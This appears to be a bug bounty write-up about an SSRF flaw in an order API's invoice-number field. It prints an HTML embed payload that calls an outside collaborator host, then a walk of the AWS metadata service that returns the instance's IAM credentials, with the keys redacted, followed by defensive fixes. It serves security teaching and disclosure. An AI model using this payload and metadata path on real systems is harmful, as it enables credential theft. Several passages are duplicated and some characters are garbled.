September 15, 2026
The Invoice Number That Read AWS
By Xynos
5 min read
One field on an order form was never meant to be interesting. It turned out to be the one field the server took literally โ and the Ye was the reason it handed us its own cloud credentials.*
SSRF ยท Bug bounty write-up ยท CWE-918 ยท CVSS 7.0SSRF ยท Bug bounty write-up ยท CWE-918 ยท CVSS 7.0(Target identified by role, not name, while the finding is open. All keys and identifiers redacted.)
Every order API has fields that exist to be boring: an address line, a phone number, an invoice number. You fill them in, the server stores them, nobody thinks about them again. That is exactly why they make such good hiding places โ the validation around a field that has never caused trouble tends to be a rubber stamp.
This is the story of "invoice_number": a text field on an order-creation endpoint of a logistics platform, and how typing a URL into it turned a routine order into a live AWS credential dump.
## The setup
The endpoint in question is a plain create-order call:
http
POST /api/v3/create-order?key=[REDACTED]&username=security-inhouse HTTP/2
Host: www.example-logistics.com
Content-Type: application/json
{
"consignee": "โฆ",
"items": [ /* 19 KB of a perfectly normal order */ ],
"invoice_number": "INV-2026โ0041"
}http
POST /api/v3/create-order?key=[REDACTED]&username=security-inhouse HTTP/2
Host: www.example-logistics.com
Content-Type: application/json
{
"consignee": "โฆ",
"items": [ /* 19 KB of a perfectly normal order */ ],
"invoice_number": "INV-2026โ0041"
}On the response side, the order comes back with a 200 OK and a generated invoice record. The interesting question was never whether the field was accepted โ it was what the backend does with it. An invoice number that the server treats as raw markup rather than an opaque string is not a label; it is an instruction.
Why this parameter was interesting: invoice values often end up processed server-side โ parsed, templated, rendered into PDFs or embedded into downstream systems. Any pipeline that interprets your input as markup will also fetch the resources that markup references, from the server's own network. That fetch is the entire attack surface. You don't need a file upload or a "webhook URL" field to get SSRF; you need a server that trusts a string.
Step 1 โ First, make the server dial out
Blind SSRF โ where the server fetches a URL but never shows you the response โ is proven the same way you'd prove a door opens in an empty room: leave something behind that tells you later. A Burp Collaborator endpoint does exactly that. So the invoice number became:
```html
<embed width="700" height="700" src=http://[collab-id].oastify.com>```html
<embed width="700" height="700" src=http://[collab-id].oastify.com>
The value is an HTML `<embed>` element whose `src` points at a server we control. If anything on the backend interprets that markup and resolves the `src`, our collaborator gets a hit โ complete with the request's source IP, so we'd learn which internal host did the fetching.
It did. The order went through with a `200 OK`, and minutes later the collaborator logged a callback from the platform's internal infrastructure. That's two confirmations in one:
1. **The field is processed, not stored.** The server parsed the invoice number as markup โ no sanitization between user input and whatever renders it.
2. **The fetch happens from inside.** The callback came from the backend's network, which means the server makes outbound requests on our behalf โ the definition of Server-Side Request Forgery.
But a callback only proves the forgery. The real question is what the server's network position lets it reach.
<picture>
<source media="(max-width: 768px)" srcset="/img/medium/700/1*RSauoM7WZp7_pgZ-JfqmKw.png 1x">
<source media="(min-width: 769px)" srcset="/img/medium/2000/1*RSauoM7WZp7_pgZ-JfqmKw.png 1x">
<img src="/img/medium/700/1*RSauoM7WZp7_pgZ-JfqmKw.png" alt="None" width="1107" height="489" loading="lazy" data-zoom-src="/img/medium/4000/1*RSauoM7WZp7_pgZ-JfqmKw.png" class="prose-image"/>
</picture>
**## Step 2 โ Knocking on 169.254.169.254**
On AWS, every EC2 instance can reach a link-local address โ `169.254.169.254` โ that answers questions about itself: its instance ID, its region, its IAM roles. It is plumbing meant for the instance's own use, reachable only from inside the instance. Which is precisely why it's the crown jewel of any SSRF: the attacker doesn't need to breach the network, only to convince the server to walk down its own hallway.
So the invoice number pointed at the metadata service instead. The backend's fetcher walked it like a filesystem:
```rust
GET http://169.254.169.254/latest/meta-data/
โโโ ami-id
โโโ instance-type โ "ec2" โ confirmed: we're inside an EC2 instance
โโโ iam/
โ โโโ security-credentials/
โ โโโ ec2-instance โ the instance's attached IAM role
โโโ identity-credentials/
โโโ ec2/
โโโ security-credentials/
โโโ ec2-instance โ the credential document itself
The value is an HTML `<embed>` element whose `src` points at a server we control. If anything on the backend interprets that markup and resolves the `src`, our collaborator gets a hit โ complete with the request's source IP, so we'd learn which internal host did the fetching.
It did. The order went through with a `200 OK`, and minutes later the collaborator logged a callback from the platform's internal infrastructure. That's two confirmations in one:
1. **The field is processed, not stored.** The server parsed the invoice number as markup โ no sanitization between user input and whatever renders it.
2. **The fetch happens from inside.** The callback came from the backend's network, which means the server makes outbound requests on our behalf โ the definition of Server-Side Request Forgery.
But a callback only proves the forgery. The real question is what the server's network position lets it reach.
<picture>
<source media="(max-width: 768px)" srcset="/img/medium/700/1*RSauoM7WZp7_pgZ-JfqmKw.png 1x">
<source media="(min-width: 769px)" srcset="/img/medium/2000/1*RSauoM7WZp7_pgZ-JfqmKw.png 1x">
<img src="/img/medium/700/1*RSauoM7WZp7_pgZ-JfqmKw.png" alt="None" width="1107" height="489" loading="lazy" data-zoom-src="/img/medium/4000/1*RSauoM7WZp7_pgZ-JfqmKw.png" class="prose-image"/>
</picture>
**## Step 2 โ Knocking on 169.254.169.254**
On AWS, every EC2 instance can reach a link-local address โ `169.254.169.254` โ that answers questions about itself: its instance ID, its region, its IAM roles. It is plumbing meant for the instance's own use, reachable only from inside the instance. Which is precisely why it's the crown jewel of any SSRF: the attacker doesn't need to breach the network, only to convince the server to walk down its own hallway.
So the invoice number pointed at the metadata service instead. The backend's fetcher walked it like a filesystem:
```rust
GET http://169.254.169.254/latest/meta-data/
โโโ ami-id
โโโ instance-type โ "ec2" โ confirmed: we're inside an EC2 instance
โโโ iam/
โ โโโ security-credentials/
โ โโโ ec2-instance โ the instance's attached IAM role
โโโ identity-credentials/
โโโ ec2/
โโโ security-credentials/
โโโ ec2-instance โ the credential document itselfEach level confirmed the last. The instance-type response said ec2; the IAM tree showed an attached role; the identity-credentials path returned the actual security-credentials document โ the same JSON an in-instance SDK would receive:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA[REDACTED]",
"SecretAccessKey": "[REDACTED]",
"Token": "[REDACTED]",
"Expiration": "2026-01-21T11:00:00Z"
}{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA[REDACTED]",
"SecretAccessKey": "[REDACTED]",
"Token": "[REDACTED]",
"Expiration": "2026-01-21T11:00:00Z"
}A live, temporary but fully functional set of AWS credentials โ issued to the platform's own production instance role, exfiltrated through an invoice field.
Values shown are reconstructed placeholders, not the real secret material โ the actual keys were disclosed privately to the vendor and rotated as part of remediation. The shape of the response, though, is exactly what the service returns.
What those keys buy
Severity here was rated High (CVSS 7.0), and the number undersells it. A stolen instance-role credential is not a one-door key: whatever permissions the platform's backend holds โ object storage, queues, databases, internal APIs โ now answer to the attacker too. And because the SSRF itself was repeatable and unauthenticated to any user who can create an order, the credential could be refreshed at will for as long as the role's permissions stayed wide.
The attack chain required no exploit framework and no exotic 0-day. It needed one thing: a server that treated user input as instructions.
The fix, in order of importance
The report's own remediation note says "sanitize user inputs" โ true, but it's the smallest piece. A fix that survives a security review stacks four layers:
1. Enforce IMDSv2. The single highest-value control. IMDSv2 requires a session token fetched via an HTTP PUT with a token header โ requests that come through an SSRF payload can't supply it by accident. Flip it to "required" at the account level and the entire metadata-harvest stage of this attack dies, even if the SSRF survives.
2. Validate the field as a string. An invoice number is [A-Z0โ9-]{1,32} at most. Parsing user input as markup is the root cause; treat invoice_number as an opaque identifier and reject anything that isn't a plain invoice ID.
3. Allowlist outbound destinations. If the pipeline genuinely must fetch URLs, resolve them through a proxy that permits only known-good domains, and resolve DNS yourself โ never let user-supplied hosts resolve to link-local (169.254.0.0/16), loopback, or RFC 1918 ranges.
4. Shrink the role. Least privilege limits the blast radius of every future SSRF, on this app or any other: a role that can only write to one S3 bucket is an annoyance to steal; a role that can read the account is a breach.
Takeaways
- Boring fields are where trust hides. Nobody fuzzes the invoice number โ including, historically, the developers. Look at what the server does with a field, not just whether it validates.
- One callback changes the finding's whole shape. A blind hit upgrades "possible SSRF" to "confirmed SSRF" and tells you the source host. Always prove the fetch before you probe the internal network.
- Metadata is a privilege boundary, not an endpoint. IMDS answers only inside the instance โ which is exactly why any code that can be made to fetch URLs on the instance's behalf is a credential oracle. IMDSv2 exists for precisely this attack.
- Defense in depth isn't optional here. Input validation, egress allowlisting, IMDSv2, least privilege โ any one of the four would have blunted this. Two or more makes the chain unwritable.
โ -
Written from an authorized engagement finding. The target is identified by role rather than name while the report remains open; the identity will be added once disclosure is complete. All credentials and tracking identifiers shown are redacted or reconstructed placeholders.
References: OWASP WSTG โ SSRF ยท CWE-918 ยท AWS IMDSv2 hardening guide
Tags: #SSRF #AWSSecurity #BugBounty #WebSecurity #Pentesting